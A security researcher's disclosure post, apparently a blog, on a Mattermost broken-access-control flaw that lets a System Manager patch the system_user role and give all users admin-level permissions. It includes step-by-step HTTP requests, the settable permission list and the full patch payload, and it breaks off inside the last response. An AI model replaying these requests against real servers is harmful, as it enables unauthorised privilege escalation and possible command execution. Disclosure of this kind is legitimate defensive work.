BOOK THIS SPACE FOR AD
ARTICLE ADI discovered a broken access control vulnerability in Mattermost that allows privilege escalation. A user with the System Manager role, or one manually granted the sysconsole_write_user_management_permissions permission, can elevate their privileges and access functionalities meant only for System Administrator users.
In self-hosted Mattermost instances where plugin uploads are enabled, this could lead to remote command execution. The issue was promptly reported through Bugcrowd, but after triage, it was marked as a duplicate.
Ultimately, both the initial report and mine were classified as “Business Acceptable Risk” by the Mattermost team.
(If the original reporter reads this, please contact me so I can credit you properly.)
This post aims to inform Mattermost customers and users about this issue, as neither the application documentation nor the API docs clarify this risk. In fact, the API documentation states that the affected endpoint is only accessible to users with ‘manage_system’ permissions — but I will demonstrate that this is not necessary.
Mattermost allows granular permission settings for different roles. I discovered that if a user has the sysconsole_write_user_management_permissions permission, they can elevate their own privileges to access functionalities that would normally be restricted. For example, the default ‘System Manager’ role includes this permission, but by default, it cannot access certain functionalities like Reporting, Authentication, Integrations, Plugins, and Compliance. The following images demonstrate that the ‘System Manager’ role has the ‘Permissions’ setting enabled for editing, while the previously mentioned functionalities remain disabled by default.
While logged into the UI as a user with the ‘System Manager’ role, I observed that the functionality only allows editing permissions related to channels, teams, and channel settings. These do not grant access to other functionalities.
For example, with a user logged in as ‘System Manager’, the signup functionality is grayed out, and editing is not allowed.
While analyzing the application, I found that a user with the sysconsole_write_user_management_permissions permission, granted by default to the System Manager role, can modify roles like system_user to add permissions and gain access to additional functionalities.
This is done through the /api/v4/roles/{role_id}/patch endpoint. However, the Mattermost API documentation states that this endpoint requires the manage_system permission, as shown in the following image.
As shown in the following HTTP request/response, the manage_system permission is not assigned to the system_manager role.
HTTP Ruquest:
POST /api/v4/roles/names HTTP/1.1Host: bugbounty.local.loc:8065
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
X-CSRF-Token: 373jwhx8btgc9kem783no53wia
Content-Type: application/json
Content-Length: 18
Origin: http://bugbounty.local.loc:8065
Connection: keep-alive
Cookie: rl_anonymous_id=RudderEncrypt%3AU2FsdGVkX1%2FRFxooo%2FwhKH7g6hX5pLEaVSIhytyDOm9dWRRWfuvfoR8Ez7pfPywd3zYAsGat15TgqTBAy%2Fpv%2Bg%3D%3D; rl_page_init_referrer=RudderEncrypt%3AU2FsdGVkX182M0E50NK6lKKZVodgeG%2FoM8GAlGot6zM%3D; rl_page_init_referring_domain=RudderEncrypt%3AU2FsdGVkX1%2B3I%2BypRLW7JsCw1ZMuvq7RzvRB338y16Q%3D; rl_user_id=%22RudderEncrypt%3AU2FsdGVkX1%2FAEvSfLJ7hxZKqk22z1v99DhmvIn%2B9y3erMHWQAE99HUsKpeXMPUrW%22; rl_user_id=RudderEncrypt%3AU2FsdGVkX1%2FAEvSfLJ7hxZKqk22z1v99DhmvIn%2B9y3erMHWQAE99HUsKpeXMPUrW; rl_trait=RudderEncrypt%3AU2FsdGVkX1%2B7XuSbkm6Vx%2Fm5s5hIEHrIspxFdM%2BkmRk%3D; MMAUTHTOKEN=5ij9fh7iwjbnbdiyssxgu3p98e; MMUSERID=fmwmcyb7hbnnjxp5fw16rqqeyh; MMCSRF=84a5yceckirspreff64ywzmpdw
X-PwnFox-Color: red
Priority: u=4
["system_manager"]
HTTP Response:
HTTP/1.1 200 OKContent-Type: application/json
Permissions-Policy:
Referrer-Policy: no-referrer
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Request-Id: 8bqyhbhez3fybgfby9b94w8rfe
X-Version-Id: 9.11.6.12182130320.7c391bee0c4c50c0744d2f06348b50ee.true
Date: Fri, 24 Jan 2025 13:41:34 GMT
Content-Length: 4561
[{"id":"ejkzotaz6pgtip6yiwbi73khzr","name":"system_manager","display_name":"authentication.roles.system_manager.name","description":"authentication.roles.system_manager.description","create_at":1737662991156,"update_at":1737662993342,"delete_at":0,"permissions":["sysconsole_read_site_announcement_banner","sysconsole_read_integrations_integration_management","manage_team_roles","sysconsole_write_integrations_integration_management","sysconsole_read_reporting_team_statistics","sysconsole_read_reporting_site_statistics","manage_elasticsearch_post_indexing_job","sysconsole_read_environment_push_notification_server","sysconsole_read_environment_developer","invalidate_caches","sysconsole_read_environment_file_storage","sysconsole_read_integrations_bot_accounts","sysconsole_read_authentication_openid","remove_user_from_team","manage_private_channel_members","manage_outgoing_oauth_connections","sysconsole_write_integrations_cors","sysconsole_read_integrations_cors","test_email","sysconsole_write_site_emoji","convert_public_channel_to_private","sysconsole_write_site_users_and_teams","get_logs","sysconsole_write_site_posts","sysconsole_write_user_management_permissions","test_ldap","sysconsole_read_products_boards","sysconsole_read_user_management_teams","sysconsole_write_environment_smtp","create_elasticsearch_post_aggregation_job","recycle_database_connections","read_channel","sysconsole_write_site_announcement_banner","sysconsole_read_integrations_gif","sysconsole_write_environment_logging","sysconsole_write_environment_database","sysconsole_write_integrations_bot_accounts","read_public_channel_groups","add_user_to_team","view_team","sysconsole_read_environment_elasticsearch","reload_config","sysconsole_write_integrations_gif","sysconsole_read_authentication_guest_access","sysconsole_read_environment_logging","sysconsole_write_user_management_groups","sysconsole_write_environment_web_server","sysconsole_write_site_localization","sysconsole_read_authentication_mfa","test_site_url","convert_private_channel_to_public","sysconsole_write_user_management_teams","sysconsole_write_environment_elasticsearch","manage_elasticsearch_post_aggregation_job","sysconsole_read_environment_session_lengths","manage_public_channel_properties","sysconsole_write_environment_file_storage","sysconsole_write_environment_performance_monitoring","sysconsole_read_authentication_email","sysconsole_write_environment_image_proxy","sysconsole_write_environment_developer","read_elasticsearch_post_indexing_job","sysconsole_read_plugins","read_public_channel","sysconsole_read_authentication_signup","read_private_channel_groups","list_public_teams","sysconsole_read_site_file_sharing_and_downloads","sysconsole_read_site_notices","sysconsole_read_environment_high_availability","delete_public_channel","sysconsole_write_site_public_links","sysconsole_write_site_notices","sysconsole_read_environment_rate_limiting","sysconsole_write_site_notifications","manage_channel_roles","delete_private_channel","sysconsole_read_site_notifications","manage_private_channel_properties","sysconsole_write_products_boards","sysconsole_write_environment_session_lengths","sysconsole_write_environment_high_availability","sysconsole_write_environment_rate_limiting","purge_elasticsearch_indexes","test_elasticsearch","sysconsole_read_authentication_saml","create_elasticsearch_post_indexing_job","read_elasticsearch_post_aggregation_job","test_s3","sysconsole_read_environment_smtp","read_ldap_sync_job","sysconsole_read_about_edition_and_license","sysconsole_read_site_public_links","sysconsole_read_environment_web_server","sysconsole_read_site_emoji","get_analytics","manage_team","sysconsole_read_user_management_permissions","sysconsole_write_site_file_sharing_and_downloads","sysconsole_read_environment_database","join_public_teams","join_private_teams","sysconsole_read_user_management_channels","sysconsole_read_site_users_and_teams","sysconsole_write_environment_push_notification_server","sysconsole_read_user_management_groups","sysconsole_read_site_localization","list_private_teams","manage_public_channel_members","read_license_information","sysconsole_read_authentication_ldap","sysconsole_read_environment_image_proxy","sysconsole_read_reporting_server_logs","sysconsole_read_environment_performance_monitoring","sysconsole_read_authentication_password","sysconsole_read_site_posts","sysconsole_write_user_management_channels","sysconsole_read_site_customization","sysconsole_write_site_customization","edit_brand"],"scheme_managed":false,"built_in":true}]
If a user with the sysconsole_write_user_management_permissions permission tries to modify the system_manager, system_user_manager, or system_read_only_admin roles, an error occurs stating that the account lacks the appropriate permissions.
However, a user with the sysconsole_write_user_management_permissions permission or the System Manager role can edit the system_user role, effectively escalating privileges for all registered users.
I created a Python script to test which permissions can be assigned or not, and I identified the following permissions that cannot be set:
manage_systemsysconsole_read_user_management_system_roles
manage_roles
sysconsole_write_user_management_system_roles
The permissions that can be set using this vulnerability are:
use_channel_mentionssysconsole_read_site_file_sharing_and_downloads
sysconsole_read_user_management_users
read_channel_content
sysconsole_write_site_users_and_teams
edit_post
sysconsole_read_about_edition_and_license
get_logs
playbook_public_create
sysconsole_write_environment_performance_monitoring
sysconsole_write_environment_file_storage
sysconsole_read_authentication_guest_access
test_s3
sysconsole_read_site_public_links
sysconsole_write_site_public_links
get_public_link
sysconsole_read_environment_high_availability
sysconsole_read_environment_performance_monitoring
manage_others_slash_commands
manage_bots
remove_user_from_team
sysconsole_read_site_localization
create_emojis
assign_system_admin_role
use_group_mentions
sysconsole_read_integrations_cors
read_data_retention_job
purge_elasticsearch_indexes
delete_custom_group
sysconsole_read_products_boards
sysconsole_read_user_management_groups
sysconsole_write_site_file_sharing_and_downloads
playbook_private_manage_members
manage_custom_group_members
read_jobs
add_bookmark_public_channel
delete_public_channel
delete_bookmark_public_channel
sysconsole_read_integrations_bot_accounts
sysconsole_write_user_management_groups
get_analytics
promote_guest
sysconsole_write_authentication_ldap
sysconsole_write_environment_high_availability
add_ldap_private_cert
add_bookmark_private_channel
remove_reaction
manage_public_channel_members
edit_bookmark_private_channel
playbook_private_make_public
sysconsole_write_site_localization
manage_secure_connections
sysconsole_write_authentication_openid
sysconsole_read_authentication_mfa
sysconsole_write_environment_rate_limiting
manage_private_channel_members
test_elasticsearch
sysconsole_read_reporting_site_statistics
delete_others_posts
sysconsole_read_user_management_teams
sysconsole_write_products_boards
sysconsole_write_authentication_guest_access
read_audits
read_compliance_export_job
sysconsole_write_environment_push_notification_server
create_user_access_token
recycle_database_connections
read_deleted_posts
sysconsole_read_integrations_integration_management
sysconsole_write_site_customization
create_post_bleve_indexes_job
test_email
sysconsole_read_reporting_server_logs
list_private_teams
sysconsole_write_compliance_data_retention_policy
sysconsole_write_environment_elasticsearch
sysconsole_read_experimental_features
sysconsole_write_compliance_compliance_monitoring
download_compliance_export_result
sysconsole_write_site_ip_filters
remove_saml_idp_cert
order_bookmark_private_channel
sysconsole_write_compliance_compliance_export
playbook_private_create
sysconsole_read_authentication_openid
run_manage_properties
edit_custom_group
add_saml_idp_cert
sysconsole_read_site_posts
invite_guest
create_post
manage_data_retention_job
use_slash_commands
sysconsole_write_environment_web_server
purge_bleve_indexes
sysconsole_read_authentication_saml
join_private_teams
sysconsole_read_environment_developer
playbook_public_view
create_compliance_export_job
sysconsole_write_authentication_password
view_members
sysconsole_read_environment_file_storage
playbook_private_manage_properties
edit_others_posts
create_data_retention_job
join_public_teams
read_elasticsearch_post_aggregation_job
create_private_channel
create_elasticsearch_post_aggregation_job
sysconsole_write_site_emoji
sysconsole_read_reporting_team_statistics
sysconsole_write_compliance_custom_terms_of_service
reload_config
delete_others_emojis
read_public_channel_groups
manage_ldap_sync_job
demote_to_guest
revoke_user_access_token
manage_post_bleve_indexes_job
add_saml_public_cert
sysconsole_read_authentication_ldap
create_direct_channel
playbook_public_manage_members
sysconsole_write_authentication_saml
manage_team
sysconsole_write_user_management_permissions
sysconsole_write_user_management_users
sysconsole_write_environment_database
sysconsole_write_site_notices
remove_ldap_private_cert
add_reaction
add_user_to_team
sysconsole_write_site_announcement_banner
sysconsole_write_integrations_bot_accounts
sysconsole_write_reporting_team_statistics
sysconsole_read_compliance_custom_terms_of_service
sysconsole_read_environment_smtp
run_view
import_team
create_post_ephemeral
sysconsole_write_authentication_email
get_saml_cert_status
playbook_public_manage_roles
manage_license_information
manage_shared_channels
sysconsole_read_authentication_signup
sysconsole_write_plugins
sysconsole_read_experimental_bleve
sysconsole_write_authentication_signup
sysconsole_read_environment_rate_limiting
sysconsole_read_billing
sysconsole_read_integrations_gif
list_users_without_team
run_manage_members
sysconsole_read_environment_database
sysconsole_read_environment_session_lengths
sysconsole_read_site_customization
test_site_url
create_custom_group
sysconsole_write_experimental_feature_flags
manage_public_channel_properties
sysconsole_write_environment_logging
sysconsole_read_authentication_email
sysconsole_read_environment_image_proxy
assign_bot
sysconsole_write_site_notifications
sysconsole_write_reporting_server_logs
manage_oauth
sysconsole_write_environment_session_lengths
sysconsole_write_integrations_gif
sysconsole_write_integrations_integration_management
restore_custom_group
remove_others_reactions
sysconsole_write_environment_smtp
sysconsole_read_site_notifications
playbook_private_view
sysconsole_read_user_management_permissions
edit_brand
sysconsole_read_environment_push_notification_server
sysconsole_read_environment_elasticsearch
sysconsole_read_experimental_feature_flags
list_team_channels
test_ldap
sysconsole_write_integrations_cors
read_elasticsearch_post_indexing_job
join_public_channels
manage_slash_commands
playbook_public_manage_properties
manage_team_roles
read_private_channel_groups
convert_public_channel_to_private
remove_ldap_public_cert
manage_compliance_export_job
run_create
invite_user
read_public_channel
sysconsole_write_environment_developer
sysconsole_read_compliance_compliance_monitoring
sysconsole_read_environment_logging
manage_incoming_webhooks
sysconsole_write_user_management_teams
create_team
read_channel
sysconsole_read_site_users_and_teams
sysconsole_read_site_notices
remove_saml_public_cert
create_public_channel
create_post_public
sysconsole_write_about_edition_and_license
convert_private_channel_to_public
playbook_private_manage_roles
sysconsole_read_user_management_channels
manage_outgoing_oauth_connections
manage_elasticsearch_post_indexing_job
invalidate_email_invite
read_other_users_teams
invalidate_caches
sysconsole_write_user_management_channels
add_ldap_public_cert
manage_others_outgoing_webhooks
edit_other_users
sysconsole_write_authentication_mfa
sysconsole_write_site_posts
delete_private_channel
read_license_information
sysconsole_read_site_emoji
edit_bookmark_public_channel
sysconsole_write_billing
read_bots
create_elasticsearch_post_indexing_job
order_bookmark_public_channel
sysconsole_read_compliance_data_retention_policy
sysconsole_read_plugins
read_others_bots
create_bot
playbook_public_make_private
sysconsole_read_site_announcement_banner
sysconsole_write_experimental_bleve
remove_saml_private_cert
manage_outgoing_webhooks
add_saml_private_cert
manage_others_bots
read_user_access_token
manage_elasticsearch_post_aggregation_job
sysconsole_read_authentication_password
get_saml_metadata_from_idp
delete_post
sysconsole_read_environment_web_server
list_public_teams
upload_file
sysconsole_write_reporting_site_statistics
manage_system_wide_oauth
create_group_channel
manage_others_incoming_webhooks
sysconsole_write_environment_image_proxy
sysconsole_write_experimental_features
manage_jobs
create_ldap_sync_job
read_ldap_sync_job
sysconsole_read_site_ip_filters
view_team
delete_emojis
manage_channel_roles
manage_private_channel_properties
delete_bookmark_private_channel
sysconsole_read_compliance_compliance_export
To exploit this vulnerability as a System Manager user, we first retrieve the ID of the system_user role.
As shown in the response, the ID is wnbbfpf6etfgunkbk76mk19wfy. However, this ID varies with each installation.
POST /api/v4/roles/names HTTP/1.1Host: bugbounty.local.loc:8065
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
X-CSRF-Token: 373jwhx8btgc9kem783no53wia
Content-Type: application/json
Content-Length: 15
Origin: http://bugbounty.local.loc:8065
Connection: keep-alive
Cookie: rl_anonymous_id=RudderEncrypt%3AU2FsdGVkX1%2FRFxooo%2FwhKH7g6hX5pLEaVSIhytyDOm9dWRRWfuvfoR8Ez7pfPywd3zYAsGat15TgqTBAy%2Fpv%2Bg%3D%3D; rl_page_init_referrer=RudderEncrypt%3AU2FsdGVkX182M0E50NK6lKKZVodgeG%2FoM8GAlGot6zM%3D; rl_page_init_referring_domain=RudderEncrypt%3AU2FsdGVkX1%2B3I%2BypRLW7JsCw1ZMuvq7RzvRB338y16Q%3D; rl_user_id=%22RudderEncrypt%3AU2FsdGVkX1%2FAEvSfLJ7hxZKqk22z1v99DhmvIn%2B9y3erMHWQAE99HUsKpeXMPUrW%22; rl_user_id=RudderEncrypt%3AU2FsdGVkX1%2FAEvSfLJ7hxZKqk22z1v99DhmvIn%2B9y3erMHWQAE99HUsKpeXMPUrW; rl_trait=RudderEncrypt%3AU2FsdGVkX1%2B7XuSbkm6Vx%2Fm5s5hIEHrIspxFdM%2BkmRk%3D; MMAUTHTOKEN=5ij9fh7iwjbnbdiyssxgu3p98e; MMUSERID=fmwmcyb7hbnnjxp5fw16rqqeyh; MMCSRF=84a5yceckirspreff64ywzmpdw
X-PwnFox-Color: red
Priority: u=4
["system_user"]
HTTP/1.1 200 OKContent-Type: application/json
Permissions-Policy:
Referrer-Policy: no-referrer
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Request-Id: unx3y7ep33yh7pmffkjsb6nzfa
X-Version-Id: 9.11.6.12182130320.810135a6cb2d1daae8ca0378b4f51c34.true
Date: Thu, 23 Jan 2025 20:43:44 GMT
Content-Length: 559
[{"id":"wnbbfpf6etfgunkbk76mk19wfy","name":"system_user","display_name":"authentication.roles.global_user.name","description":"authentication.roles.global_user.description","create_at":1737662991181,"update_at":1737662993369,"delete_at":0,"permissions":["join_public_teams","manage_custom_group_members","delete_emojis","list_public_teams","delete_custom_group","create_custom_group","create_team","edit_custom_group","create_group_channel","view_members","create_direct_channel","create_emojis","restore_custom_group"],"scheme_managed":true,"built_in":true}]
Then send a request to the endpoint /api/v4/roles/{RoleID}/patch, replacing {RoleID} with the role ID from the previous request.
In the following request/response, I added all the allowed permissions to the system_user role.
HTTP Request:
PUT /api/v4/roles/wnbbfpf6etfgunkbk76mk19wfy/patch HTTP/1.1Host: bugbounty.local.loc:8065
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
X-CSRF-Token: hetcnyu6yifnupfbfqbps1an7c
Content-Type: application/json
Content-Length: 8911
Origin: http://bugbounty.local.loc:8065
Connection: keep-alive
Cookie: ; MMUSERID=dgasf5kf3tbbbjdh89hh4gg4aa;MMAUTHTOKEN=oixqkbmfwbgppj5ce1bgg596fr
X-PwnFox-Color: blue
Priority: u=0
{"id":"kb3ymjqhxifaib8194xrf8k5tc","name":"system_user","display_name":"authentication.roles.system_user.name","description":"authentication.roles.system_user.description","create_at":1737640041017,"update_at":1737643362856,"delete_at":0,"permissions":["join_public_teams","manage_custom_group_members","delete_emojis","list_public_teams","delete_custom_group","create_custom_group","create_team","edit_custom_group","create_group_channel","view_members","create_direct_channel","create_emojis","restore_custom_group",
"use_channel_mentions","sysconsole_read_site_file_sharing_and_downloads","sysconsole_read_user_management_users","read_channel_content","sysconsole_write_site_users_and_teams","edit_post","sysconsole_read_about_edition_and_license","get_logs","playbook_public_create","sysconsole_write_environment_performance_monitoring","sysconsole_write_environment_file_storage","sysconsole_read_authentication_guest_access","test_s3","sysconsole_read_site_public_links","sysconsole_write_site_public_links","get_public_link","sysconsole_read_environment_high_availability","sysconsole_read_environment_performance_monitoring","manage_others_slash_commands","manage_bots","remove_user_from_team","sysconsole_read_site_localization","create_emojis","assign_system_admin_role","use_group_mentions","sysconsole_read_integrations_cors","read_data_retention_job","purge_elasticsearch_indexes","delete_custom_group","sysconsole_read_products_boards","sysconsole_read_user_management_groups","sysconsole_write_site_file_sharing_and_downloads","playbook_private_manage_members","manage_custom_group_members","read_jobs","add_bookmark_public_channel","delete_public_channel","delete_bookmark_public_channel","sysconsole_read_integrations_bot_accounts","sysconsole_write_user_management_groups","get_analytics","promote_guest","sysconsole_write_authentication_ldap","sysconsole_write_environment_high_availability","add_ldap_private_cert","add_bookmark_private_channel","remove_reaction","manage_public_channel_members","edit_bookmark_private_channel","playbook_private_make_public","sysconsole_write_site_localization","manage_secure_connections","sysconsole_write_authentication_openid","sysconsole_read_authentication_mfa","sysconsole_write_environment_rate_limiting","manage_private_channel_members","test_elasticsearch","sysconsole_read_reporting_site_statistics","delete_others_posts","sysconsole_read_user_management_teams","sysconsole_write_products_boards","sysconsole_write_authentication_guest_access","read_audits","read_compliance_export_job","sysconsole_write_environment_push_notification_server","create_user_access_token","recycle_database_connections","read_deleted_posts","sysconsole_read_integrations_integration_management","sysconsole_write_site_customization","create_post_bleve_indexes_job","test_email","sysconsole_read_reporting_server_logs","list_private_teams","sysconsole_write_compliance_data_retention_policy","sysconsole_write_environment_elasticsearch","sysconsole_read_experimental_features","sysconsole_write_compliance_compliance_monitoring","download_compliance_export_result","sysconsole_write_site_ip_filters","remove_saml_idp_cert","order_bookmark_private_channel","sysconsole_write_compliance_compliance_export","playbook_private_create","sysconsole_read_authentication_openid","run_manage_properties","edit_custom_group","add_saml_idp_cert","sysconsole_read_site_posts","invite_guest","create_post","manage_data_retention_job","use_slash_commands","sysconsole_write_environment_web_server","purge_bleve_indexes","sysconsole_read_authentication_saml","join_private_teams","sysconsole_read_environment_developer","playbook_public_view","create_compliance_export_job","sysconsole_write_authentication_password","view_members","sysconsole_read_environment_file_storage","playbook_private_manage_properties","edit_others_posts","create_data_retention_job","join_public_teams","read_elasticsearch_post_aggregation_job","create_private_channel","create_elasticsearch_post_aggregation_job","sysconsole_write_site_emoji","sysconsole_read_reporting_team_statistics","sysconsole_write_compliance_custom_terms_of_service","reload_config","delete_others_emojis","read_public_channel_groups","manage_ldap_sync_job","demote_to_guest","revoke_user_access_token","manage_post_bleve_indexes_job","add_saml_public_cert","sysconsole_read_authentication_ldap","create_direct_channel","playbook_public_manage_members","sysconsole_write_authentication_saml","manage_team","sysconsole_write_user_management_permissions","sysconsole_write_user_management_users","sysconsole_write_environment_database","sysconsole_write_site_notices","remove_ldap_private_cert","add_reaction","add_user_to_team","sysconsole_write_site_announcement_banner","sysconsole_write_integrations_bot_accounts","sysconsole_write_reporting_team_statistics","sysconsole_read_compliance_custom_terms_of_service","sysconsole_read_environment_smtp","run_view","import_team","create_post_ephemeral","sysconsole_write_authentication_email","get_saml_cert_status","playbook_public_manage_roles","manage_license_information","manage_shared_channels","sysconsole_read_authentication_signup","sysconsole_write_plugins","sysconsole_read_experimental_bleve","sysconsole_write_authentication_signup","sysconsole_read_environment_rate_limiting","sysconsole_read_billing","sysconsole_read_integrations_gif","list_users_without_team","run_manage_members","sysconsole_read_environment_database","sysconsole_read_environment_session_lengths","sysconsole_read_site_customization","test_site_url","create_custom_group","sysconsole_write_experimental_feature_flags","manage_public_channel_properties","sysconsole_write_environment_logging","sysconsole_read_authentication_email","sysconsole_read_environment_image_proxy","assign_bot","sysconsole_write_site_notifications","sysconsole_write_reporting_server_logs","manage_oauth","sysconsole_write_environment_session_lengths","sysconsole_write_integrations_gif","sysconsole_write_integrations_integration_management","restore_custom_group","remove_others_reactions","sysconsole_write_environment_smtp","sysconsole_read_site_notifications","playbook_private_view","sysconsole_read_user_management_permissions","edit_brand","sysconsole_read_environment_push_notification_server","sysconsole_read_environment_elasticsearch","sysconsole_read_experimental_feature_flags","list_team_channels","test_ldap","sysconsole_write_integrations_cors","read_elasticsearch_post_indexing_job","join_public_channels","manage_slash_commands","playbook_public_manage_properties","manage_team_roles","read_private_channel_groups","convert_public_channel_to_private","remove_ldap_public_cert","manage_compliance_export_job","run_create","invite_user","read_public_channel","sysconsole_write_environment_developer","sysconsole_read_compliance_compliance_monitoring","sysconsole_read_environment_logging","manage_incoming_webhooks","sysconsole_write_user_management_teams","create_team","read_channel","sysconsole_read_site_users_and_teams","sysconsole_read_site_notices","remove_saml_public_cert","create_public_channel","create_post_public","sysconsole_write_about_edition_and_license","convert_private_channel_to_public","playbook_private_manage_roles","sysconsole_read_user_management_channels","manage_outgoing_oauth_connections","manage_elasticsearch_post_indexing_job","invalidate_email_invite","read_other_users_teams","invalidate_caches","sysconsole_write_user_management_channels","add_ldap_public_cert","manage_others_outgoing_webhooks","edit_other_users","sysconsole_write_authentication_mfa","sysconsole_write_site_posts","delete_private_channel","read_license_information","sysconsole_read_site_emoji","edit_bookmark_public_channel","sysconsole_write_billing","read_bots","create_elasticsearch_post_indexing_job","order_bookmark_public_channel","sysconsole_read_compliance_data_retention_policy","sysconsole_read_plugins","read_others_bots","create_bot","playbook_public_make_private","sysconsole_read_site_announcement_banner","sysconsole_write_experimental_bleve","remove_saml_private_cert","manage_outgoing_webhooks","add_saml_private_cert","manage_others_bots","read_user_access_token","manage_elasticsearch_post_aggregation_job","sysconsole_read_authentication_password","get_saml_metadata_from_idp","delete_post","sysconsole_read_environment_web_server","list_public_teams","upload_file","sysconsole_write_reporting_site_statistics","manage_system_wide_oauth","create_group_channel","manage_others_incoming_webhooks","sysconsole_write_environment_image_proxy","sysconsole_write_experimental_features","manage_jobs","create_ldap_sync_job","read_ldap_sync_job","sysconsole_read_site_ip_filters","view_team","delete_emojis","manage_channel_roles","manage_private_channel_properties","delete_bookmark_private_channel","sysconsole_read_compliance_compliance_export"
],"scheme_managed":true,"built_in":true}
HTTP Response:
HTTP/1.1 200 OKContent-Type: application/json
Permissions-Policy:
Referrer-Policy: no-referrer
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Request-Id: dzfzjto59br8py9x8yrp8rfr8w
X-Version-Id: 9.11.6.12182130320.be5c9cf1cc3d276dc7a6a04a2012b1b1.true
Date: Fri, 24 Jan 2025 15:49:31 GMT
Content-Length: 8643
{"id":"wnbbfpf6etfgunkbk76mk19wfy","name":"system_user","display_name":"authentication.roles.global_user.name","description":"authentication.roles.global_user.description","create_at":1737728290088,"update_at":1737728720670,"delete_at":0,"permissions":["add_bookmark_private_channel","add_bookmark_public_channel","add_ldap_private_cert","add_ldap_public_cert","add_reaction","add_saml_idp_cert","add_saml_private_cert","add_saml_public_cert","add_user_to_team","assign_bot","assign_system_admin_role","convert_private_channel_to_public","convert_public_channel_to_private","create_bot","create_compliance_export_job","create_custom_group","create_data_retention_job","create_direct_channel","create_elasticsearch_post_aggregation_job","create_elasticsearch_post_indexing_job","create_emojis","create_group_channel","create_ldap_sync_job","create_post","create_post_bleve_indexes_job","create_post_ephemeral","create_post_public","create_private_channel","create_public_channel","create_team","create_user_access_token","delete_bookmark_private_channel","delete_bookmark_public_channel","delete_custom_group","delete_emojis","delete_others_emojis","delete_others_posts","delete_post","delete_private_channel","delete_public_channel","demote_to_guest","download_compliance_export_result","edit_bookmark_private_channel","edit_bookmark_public_channel","edit_brand","edit_custom_group","edit_other_users","edit_others_posts","edit_post","get_analytics","get_logs","get_public_link","get_saml_cert_status","get_saml_metadata_from_idp","import_team","invalidate_caches","invalidate_email_invite","invite_guest","invite_user","join_private_teams","join_public_channels","join_public_teams","list_private_teams","list_public_teams","list_team_channels","list_users_without_team","manage_bots","manage_channel_roles","manage_compliance_export_job","manage_custom_group_members","manage_data_retention_job","manage_elasticsearch_post_aggregation_job","manage_elasticsearch_post_indexing_job","manage_incoming_webhooks","manage_jobs","manage_ldap_sync_job","manage_license_information","manage_oauth","manage_others_bots","manage_others_incoming_webhooks","manage_others_outgoing_webhooks","manage_others_slash_commands","manage_outgoing_oauth_connections","manage_outgoing_webhooks","manage_post_bleve_indexes_job","manage_private_channel_members","manage_private_channel_properties","manage_public_channel_members","manage_public_channel_properties","manage_secure_connections","manage_shared_channels","manage_slash_commands","manage_system_wide_oauth","manage_team","manage_team_roles","order_bookmark_private_channel","order_bookmark_public_channel","playbook_private_create","playbook_private_make_public","playbook_private_manage_members","playbook_private_manage_properties","playbook_private_manage_roles","playbook_private_view","playbook_public_create","playbook_public_make_private","playbook_public_manage_members","playbook_public_manage_properties","playbook_public_manage_roles","playbook_public_view","promote_guest","purge_bleve_indexes","purge_elasticsearch_indexes","read_audits","read_bots","read_channel","read_channel_content","read_compliance_export_job","read_data_retention_job","read_deleted_posts","read_elasticsearch_post_aggregation_job","read_elasticsearch_post_indexing_job","read_jobs","read_ldap_sync_job","read_license_information","read_other_users_teams","read_others_bots","read_private_channel_groups","read_public_channel","read_public_channel_groups","read_user_access_token","recycle_database_connections","reload_config","remove_ldap_private_cert","remove_ldap_public_cert","remove_others_reactions","remove_reaction","remove_saml_idp_cert","remove_saml_private_cert","remove_saml_public_cert","remove_user_from_team","restore_custom_group","revoke_user_access_token","run_create","run_manage_members","run_manage_properties","run_view","sysconsole_read_about_edition_and_license","sysconsole_read_authentication_email","sysconsole_read_authentication_guest_access","sysconsole_read_authentication_ldap","sysconsole_read_authentication_mfa","sysconsole_read_authentication_openid","sysconsole_read_authentication_password","sysconsole_read_authentication_saml","sysconsole_read_authentication_signup","sysconsole_read_billing","sysconsole_read_compliance_compliance_export","sysconsole_read_compliance_compliance_monitoring","sysconsole_read_compliance_custom_terms_of_service","sysconsole_read_compliance_data_retention_policy","sysconsole_read_environment_database","sysconsole_read_environment_developer","sysconsole_read_environment_elasticsearch","sysconsole_read_environment_file_storage","sysconsole_read_environment_high_availability","sysconsole_read_environment_image_proxy","sysconsole_read_environment_logging","sysconsole_read_environment_performance_monitoring","sysconsole_read_environment_push_notification_server","sysconsole_read_environment_rate_limiting","sysconsole_read_environment_session_lengths","sysconsole_read_environment_smtp","sysconsole_read_environment_web_server","sysconsole_read_experimental_bleve","sysconsole_read_experimental_feature_flags","sysconsole_read_experimental_features","sysconsole_read_integrations_bot_accounts","sysconsole_read_integrations_cors","sysconsole_read_integrations_gif","sysconsole_read_integrations_integration_management","sysconsole_read_plugins","sysconsole_read_products_boards","sysconsole_read_reporting_server_logs","sysconsole_read_reporting_site_statistics","sysconsole_read_reporting_team_statistics","sysconsole_read_site_announcement_banner","sysconsole_read_site_customization","sysconsole_read_site_emoji","sysconsole_read_site_file_sharing_and_downloads","sysconsole_read_site_ip_filters","sysconsole_read_site_localization","sysconsole_read_site_notices","sysconsole_read_site_notifications","sysconsole_read_site_posts","sysconsole_read_site_public_links","sysconsole_read_site_users_and_teams","sysconsole_read_user_management_channels","sysconsole_read_user_management_groups","sysconsole_read_user_management_permissions","sysconsole_read_user_management_teams","sysconsole_read_user_management_users","sysconsole_write_about_edition_and_license","sysconsole_write_authentication_email","sysconsole_write_authentication_guest_access","sysconsole_write_authentication_ldap","sysconsole_write_authentication_mfa","sysconsole_write_authentication_openid","sysconsole_write_authentication_password","sysconsole_write_authentication_saml","sysconsole_write_authentication_signup","sysconsole_write_billing","sysconsole_write_compliance_compliance_export","sysconsole_write_compliance_compliance_monitoring","sysconsole_write_compliance_custom_terms_of_service","sysconsole_write_compliance_data_retention_policy","sysconsole_write_environment_database","sysconsole_write_